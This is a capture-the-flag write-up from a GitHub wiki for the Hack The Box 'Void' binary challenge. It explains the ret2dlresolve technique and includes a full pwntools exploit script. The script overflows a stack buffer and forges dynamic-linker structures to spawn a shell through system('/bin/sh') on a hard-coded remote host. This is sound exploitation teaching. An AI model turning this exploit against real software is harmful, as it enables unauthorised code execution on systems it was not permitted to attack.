HTB Void writeup - Pez1181/CTF GitHub Wiki

πŸ” ret2dlresolve Exploit β€” HTB "Void" Challenge Writeup

πŸ“œ Challenge Summary

This challenge presents a 64-bit dynamically linked ELF binary with the following properties:

  • No stack canary
  • NX enabled
  • No PIE
  • No useful PLT entries (puts, system, and write are missing!)
  • A custom libc.so.6 and ld-linux-x86-64.so.2 are provided
  • The binary contains a vuln() function that overflows via read() into a 64-byte stack buffer

The binary simply reads 200 bytes from stdin and exits. No output, no print, no hint. So... how do we pop a shell? πŸ€”


🧠 Why ret2dlresolve?

Normally in a ret2libc exploit, we leak a libc function (e.g., puts@GOT), compute the libc base, and call system("/bin/sh"). But here:

  • puts doesn't exist in the binary.
  • write doesn't exist either.
  • And system() isn't available until resolved from libc.

We're stuck.

But... the binary is dynamically linked, and we have libc and ld.so provided. That means we can abuse the dynamic linker itself using a technique called:

πŸ” ret2dlresolve β€” "Return-to-Dynamic-Linker-Resolve"

This technique lets us forge ELF data structures in memory and convince the dynamic linker to resolve any function we want, like system(), even if it isn't present in the binary.


πŸ” How to Find This Technique

ret2dlresolve is documented and implemented in:


πŸ’₯ Full Exploit (Using ret2dlresolve in Pwntools)

This code uses Ret2dlresolvePayload to build fake ELF structures in .bss, triggers a call to read() to load them, and finally jumps to the dynamic resolver to call system("/bin/sh").

from pwn import *

# Load binaries
void = ELF('./void')
libc = ELF('glibc/libc.so.6')
ld = ELF('glibc/ld-linux-x86-64.so.2')

# Context for architecture
context.binary = void.path

# Offsets and remote host
OFFSET = 72
HOST = '94.237.52.107'
PORT = 56671

# Start remote connection
# For local testing: replace with process('./void')
p = remote(HOST, PORT)

# Prepare ret2dlresolve payload
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])

# Stage 1: Read forged ELF structs into memory
rop.read(0, dlresolve.data_addr)

# Stack alignment (for glibc 2.29+)
rop.raw(rop.ret[0])

# Stage 2: Trigger dynamic resolver with fake relocation
rop.ret2dlresolve(dlresolve)

# Build final payload
raw_rop = rop.chain()

# Send first stage ROP chain
p.sendline(b'A' * OFFSET + raw_rop)

# Send forged relocation structures
p.sendline(dlresolve.payload)

# Interact with the shell
p.interactive()

βœ… Why This Works

  • Ret2dlresolvePayload constructs fake .rel.plt, .symtab, and string table entries in memory.
  • The ROP chain calls read() to place them in .bss
  • We then call the dynamic linker stub with the address of our fake relocation
  • The linker resolves system() from libc
  • We pass /bin/sh as the argument β€” πŸŽ‰ shell

🧷 When to Use This

Use ret2dlresolve when:

  • You're dealing with a dynamically linked ELF
  • The binary lacks useful PLT entries like system, puts, write
  • You have access to the libc.so.6 or know its version
  • NX is enabled (no shellcode injection)
  • You have control over input and can write a ROP chain

🧰 Requirements

Install pwntools and ruby (for one_gadget, if needed):

pip install pwntools
gem install one_gadget

🧠 Final Notes

This is a powerful and underused technique. It’s especially useful in modern CTF challenges where binaries are minimal and dynamically linked. Learn it once β€” use it forever.


πŸ•ΆοΈ Mission complete. You can now return from the Void. 🫑